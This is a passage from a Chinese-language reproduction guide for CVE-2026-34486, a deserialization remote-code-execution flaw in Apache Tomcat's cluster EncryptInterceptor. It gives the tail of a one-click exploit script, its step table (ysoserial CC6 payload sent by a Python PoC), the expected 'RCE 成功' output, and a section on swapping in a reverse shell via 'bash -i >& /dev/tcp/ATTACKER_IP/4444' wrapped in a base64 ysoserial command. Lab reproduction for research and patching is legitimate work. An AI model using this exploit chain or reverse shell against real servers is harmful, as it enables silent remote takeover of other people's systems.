${RCE_MARKER}" echo "" echo " 清理命令:" echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh" echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh" echo " rm -f ${RCE_MARKER}" echo " rm -rf ${WORKDIR}" echo "" echo "======================================================================" ``` ### 一键脚本使用说明 **前提条件**: - Ubuntu 18.04+ / Debian 10+ 系统 - root 权限 - 可访问外网(下载 Tomcat、ysoserial、Commons Collections) **执行方式**: ``` # 保存脚本 chmod +x cve-2026-34486-repro.sh # 一键运行 sudo ./cve-2026-34486-repro.sh ``` **脚本执行流程**: | 步骤 | 内容 | 说明 | |------|------|------| | 1 | 检测并安装依赖 | JDK 11、Python3、wget 等 | | 2 | 创建工作目录 | `/opt/cve-2026-34486-lab` | | 3 | 下载 Tomcat .0.116 | 漏洞版本,解压两份 | | 4 | 安装 Gadget 库 | Commons Collections 3.1 → lib/ | | 5 | 下载 ysoserial | 反序列化 payload 生成工具 | | 6 | 配置集群 | server.xml + EncryptInterceptor + web.xml | | 7 | 启动集群并攻击 | 启动 → 生成 CC6 payload → Python PoC 发送 | | 8 | 验证结果 | 检查 RCE 标志文件 + 受害者日志 | **预期输出**: ``` [*] 步骤 8/8: 验证漏洞触发... ====================================================================== CVE-2026-34486 复现结果 ====================================================================== ✅ RCE 成功! 标志文件已创建: -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED 受害者日志 (解密失败记录): ---------------------------------------------------------------------- SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived Failed to decrypt message javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16... ✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高) ====================================================================== ``` **自定义 RCE 命令**: 如需修改攻击命令,编辑脚本中的 `RCE_MARKER` 变量和 ysoserial 生成命令,例如: ``` # 修改为反弹 shell (需先编码) # bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Base64 编码后: java -jar ysoserial.jar CommonsCollections6 \ "bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \ > payload_reverse.bin ```
标签:Apache Tomcat, API密钥检测, BurpSuite集成, CVE, CVE-2026-34486, EncryptInterceptor, Java Web, JS文件枚举, Web安全, 加密解密, 反序列化, 敏感数据保护, 数字签名, 漏洞复现, 蓝队分析, 补丁分析, 调试与逆向, 输入验证, 逆向工具